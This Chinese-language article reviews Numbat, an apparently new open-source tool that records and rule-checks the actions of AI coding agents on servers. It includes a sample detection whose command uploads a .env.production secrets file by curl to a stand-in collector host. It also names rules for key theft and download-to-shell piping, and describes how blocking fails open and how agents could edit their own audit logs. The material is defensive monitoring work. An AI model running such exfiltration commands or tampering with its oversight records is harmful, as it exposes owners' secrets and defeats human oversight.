Numbat：监控 AI 编程代理在服务器上的真实操作

Numbat 是什么

Numbat 可让您了解 AI 代理在您拥有的计算机上执行了哪些操作。它读取编程代理已经生成的钩子回调和会话文件，将其规范化为统一的事件格式，然后根据规则匹配事件。规则可针对读取 SSH 私钥或将下载内容直接通过管道传给 shell 等行为触发。Perplexity 已根据 Apache 2.0 许可证将其作为开源项目发布，首个带标签的版本于 29 July 2026 发布。

以下内容均来自该项目的代码仓库及其文档，阅读时间为 2 August 2026。凡是 Perplexity 提出的内容，本文都会明确说明。这不是安装教程，因为该代码仓库发布仅数日，其中的命令可能会发生变化。

问题：没人记录代理执行了什么

VPS 上的编码代理会以您分配给它的用户身份运行 shell 命令、读取文件、写入文件并建立网络连接。您的 shell 历史不会记录这些操作，因为代理并未在您的 shell 中输入命令。sshd 只记录您的登录操作，不记录模型随后决定执行的任何操作。除非有程序访问 sudo，否则 /var/log/auth.log 不会产生记录。代理会保留自己的会话记录，但该文件位于代理的会话目录中，其格式会随版本发布而变化，而且代理自身的进程可以写入该文件。

因此，当有人询问代理是否在上周二读取过 .env.production 时，诚实的回答是：在大多数服务器上，您无法确认。这个缺口正是本项目存在的原因。

Perplexity 声称 Numbat 的功能

README 开头将该工具描述为“提供对 AI agent 活动的端点可见性，支持本地检测、可选的操作前阻止和取证重建”。这里的端点是指 agent 运行所在的计算机，而不是从外部监视网络的设备。这些是不同的功能，重要性也不同。

检测在设备本地运行。规则使用 CEL（通用表达式语言）编写并在本地评估，还支持多步骤序列规则，以及在 YAML 中编写自定义规则。规则触发时不需要将任何数据发送到设备外部。

阻止功能是可选的，范围也有限。它只能通过同步的操作前 hook 工作，并且仅适用于提供此类 hook 的 agent。除非手动启用，否则该功能处于关闭状态。

重建发生在事后。numbat scan 会解析 agent 已经写入磁盘的会话工件，因此您可以查看安装该工具之前发生的活动。项目明确限定了这一点：“静态重建不是磁盘或内存采集，无法恢复 agent 未持久化的活动。”

输出采用有版本控制的 NDJSON（以换行符分隔的 JSON），涵盖事件、发现项、强制执行决策、指标和扫描摘要。截至 v0.1.2，架构版本为 0.2.0。记录会写入 stdout 或本地文件，也可以通过 HTTP 发送到您运行的收集器。该工具是一个不使用 cgo 构建的静态 Go 二进制文件，支持 macOS、Linux 和 Windows 的 amd64 及 arm64 架构。因此，在 Linux VPS 上，它只是一个无需先安装运行时的单文件程序。

Numbat 实际能识别哪些代理？

docs/agent-coverage.md 中的覆盖矩阵是权威列表，但支持情况并不均衡。项目对此有明确说明，没有刻意掩盖。Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 同时支持工件扫描和带操作前钩子的实时捕获。OpenClaw 从 2026.7.1 版本开始提供原生插件。还有许多条目标记为 deferred，这表示存在实时钩子路径，但不提供工件解析器。通常是因为该代理将历史记录存储在 SQLite 中，并使用预写式日志；代理运行时读取这类日志并不安全。读取矩阵时，即 2026 年 8 月 2 日，OpenCode 和 Cline 属于这一组。

在围绕此工具制定计划前，请先查看对应代理的行，因为“支持”在几乎每一行中的含义都不同。

检测结果示例

规则带有用于说明用途的 id。secrets.read_private_key 用于检测 SSH key、AWS 凭据、kube 配置或 package registry 登录信息。将 curl 或 wget 的输出通过管道传入解释器时，exec.download_pipe_shell 会触发。privilege.elevated_shell 用于检测通过 sudo、doas、su 或 pkexec 请求交互式 root shell 的行为。impact.cryptomining_launch 用于匹配已知的 miner 二进制文件和 image 名称。

序列规则会关联同一会话中的事件。chain.secret_read_then_egress 要求先读取 secret 文件，随后执行携带数据向外发送的命令。README 发布了下面的检测结果。该结果来自对两个 Claude Code pre-action callback 的受控重放，不是来自实际安全事件。此处仅保留相关字段：

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

注意记录中包含 "confidence": "medium"，还要注意项目对这类输出的整体说明：“检测结果是规则匹配，不是服务器遭到入侵的证据。”读取 key 后上传构建构件的部署脚本，也会匹配同一条序列规则。匹配本身是正确的，但告警是误报。这是您运行过的所有检测工具的常态。

默认不执行阻止，发生故障时会放行

Numbat 发布的每条规则都仅用于监控。要将规则改为阻止规则，需要有意执行以下操作：将规则的完整 YAML 复制到您自己的目录中，保留相同的 id，添加 enforce: true，提升版本号，然后验证并安装该策略。

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

现在说明您应在多大程度上信任它。Numbat 的 deny 是返回给代理的响应，实际拒绝工具调用的是代理。执行指南明确说明了 Numbat 自身出现问题时的行为：“格式错误的有效负载、相关评估错误、panic 以及输出失败都会抑制 numbat deny。”Hook 输入上限为 4 MiB，超出上限的输入也会走相同的处理路径。

指南同样明确说明了成功返回 deny 时的限制：“Fail-open 表示 numbat 不返回 deny 响应。这并不保证工具会执行：主机仍可能提示、拒绝、超时，或应用其他 hook 或策略。”

因此，这里的执行机制是安全护栏，而不是安全边界。如果进程崩溃，Numbat 不会阻止该操作，因为一个每次发生故障都会冻结代理的监控器，不到一周就会被卸载。这种权衡是合理的。但不要构建一个假定 deny 始终会到达的安全模型。

Numbat 与现有方案的关系

Numbat 在端点上运行，位于代理自身的进程树中，默认写入 ~/.numbat/records.ndjson。以您的用户身份运行的代理可以读取该文件，也可以编辑它。审计轨迹的价值取决于其隔离程度。因此，您已有的每项控制措施都应位于 Numbat 之前，而不是之后。

为编码代理提供一次性 VM可以限制恶意运行能够访问的范围。在 VPS 上使用最小权限用户可以阻止代理访问不应打开的文件。避免将凭据放入代理上下文，可以让 secrets.read_private_key 足够少见，使其触发时值得查看。为 VPS 上的 Claude Code 设置的沙箱仍然负责隔离。

Numbat 增加的是记录。因此，应将记录发送到代理无法访问的位置。numbat ship 和 HTTP sink 就是为此设计的。将流的副本保存到另一台计算机上，是日志文件与证据之间的区别。事件模型还包含 MCP（模型上下文协议）字段。因此，通过您在 VPS 上托管的 MCP 服务器发出的工具调用，会与本地 shell 命令进入同一数据流。这一点很重要，因为只监控 bash 的方案无法看到这条路径。

先以只读模式试用

安装固定版本。go install 需要 Go 1.26.5 或更高版本。如果您不想从源代码构建，发布页面提供了预构建二进制文件及 SHA-256 校验和。

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents 会发现本机上已安装的代理。numbat scan 会解析磁盘上已有的会话构件并输出记录。README 声明，这些命令“不会安装钩子或更改代理配置”；numbat“绝不会执行构件中发现的代理或命令，并且只会向已配置的 HTTP sink 发起出站请求”。扫描采用只读模式，并会脱敏机密信息；正常记录输出不会包含完整的原始会话转录。

下一步是实时捕获，但这会更改代理配置：

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all 会将事件、发现项、指标以及适用的强制执行决策写入 ~/.numbat/records.ndjson。项目文档直接提出了两点注意事项。钩子可能需要先在代理内部设为可信，才能运行；更改 --enforce 等标志后，还必须重新检查该信任设置。此外，hook status“验证的是配置，而不是执行或传递”，因此状态行正常并不能证明记录已发送到任何位置。

为什么如此新的仓库还不能作为依赖项

公开版本分别是 2026 年 7 月 29 日发布的 v0.1.1，以及 2026 年 8 月 1 日发布的 v0.1.2。本文于 2026 年 8 月 2 日撰写时，该仓库已有 597 个 stars。增长如此迅速，反映的是 Perplexity 的受众规模，而不是代码的可靠性。star 表示有人保存了该页面，准备稍后查看。

版本号如实反映了它当前所处的阶段。v0.1.2 的变更说明主要涉及凭据脱敏修复，以及案例包和遥测规范化工作。对于一个需要安全读取其他程序转录记录的工具来说，脱敏错误正是早期缺陷的典型形式。此类错误还会继续出现，因为输入来自十几个 agent，而每个 agent 都会按照自己的发布节奏更改格式。

由此可得出两条实用规则。对于任何需要保留的内容，都应固定使用 tag，而不是 @latest。此外，在记录 schema 不再频繁变更之前，应将它视为正在评估的工具，而不是可以依赖的控制措施。

FAQ

Numbat 会阻止危险的 AI 代理命令吗？

只有在您主动启用时才会阻止，并且只能尽力而为。Numbat 随附的所有规则都仅用于监控。要进行阻止，您需要将规则的 YAML 复制到自己的目录，保留其 id，添加 enforce: true，递增版本号，然后使用 --enforce 安装 hook。即使这样，拒绝也只是作为响应传回代理，真正拒绝调用的是代理本身。项目文档说明了故障开放行为：格式错误的 payload、评估错误、panic 和输出失败都会抑制拒绝操作。请将其作为安全护栏，不要将其作为唯一的安全边界。

Numbat 支持哪些 AI 代理？

支持范围因代理而异，仓库中的 docs/agent-coverage.md 列出了相关信息。截至 2026 年 8 月 2 日，该页面显示 Claude Code、Codex、Gemini CLI、Cursor 和 GitHub Copilot CLI 同时支持工件扫描和实时捕获；OpenClaw 从版本 2026.7.1 开始提供原生插件。许多其他代理列出了实时 hook 路径，但尚未提供工件解析器。这通常是因为它们的会话历史存储在 SQLite 数据库中，而代理运行时读取该数据库并不安全。请查看您所用代理对应的行，因为其中的“支持”涵盖多个不同级别。

代理可以篡改 Numbat 的记录吗？

可以，如果代理以同一用户身份运行。默认情况下，记录存储在与代理相同机器上的 ~/.numbat/records.ndjson 中，因此任何拥有该路径写权限的对象都可以修改或删除记录。请使用 numbat ship 或 HTTP sink，将数据流发送到代理无法访问的 collector，并保留本地文件作为便利副本。这也是该工具只能补充隔离而不能取代隔离的原因。在最小权限用户下运行于一次性 VM 中的代理，对自身审计记录的访问范围会小得多。

Numbat 适合用于生产服务器吗？

不适合作为您所依赖的控制措施。第一个公开版本是 2026 年 7 月 29 日发布的 v0.1.1，随后在 2026 年 8 月 1 日发布了 v0.1.2，因此 flags 和记录 schema 仍在变化。在服务器上运行 numbat agents 和 numbat scan 是只读且风险较低的操作，可以帮助您了解代理在磁盘上留下了哪些内容。在重要服务器上安装强制执行 hook 是另一项决策，需要固定使用某个 tag，并制定 hook 行为异常时的处理方案。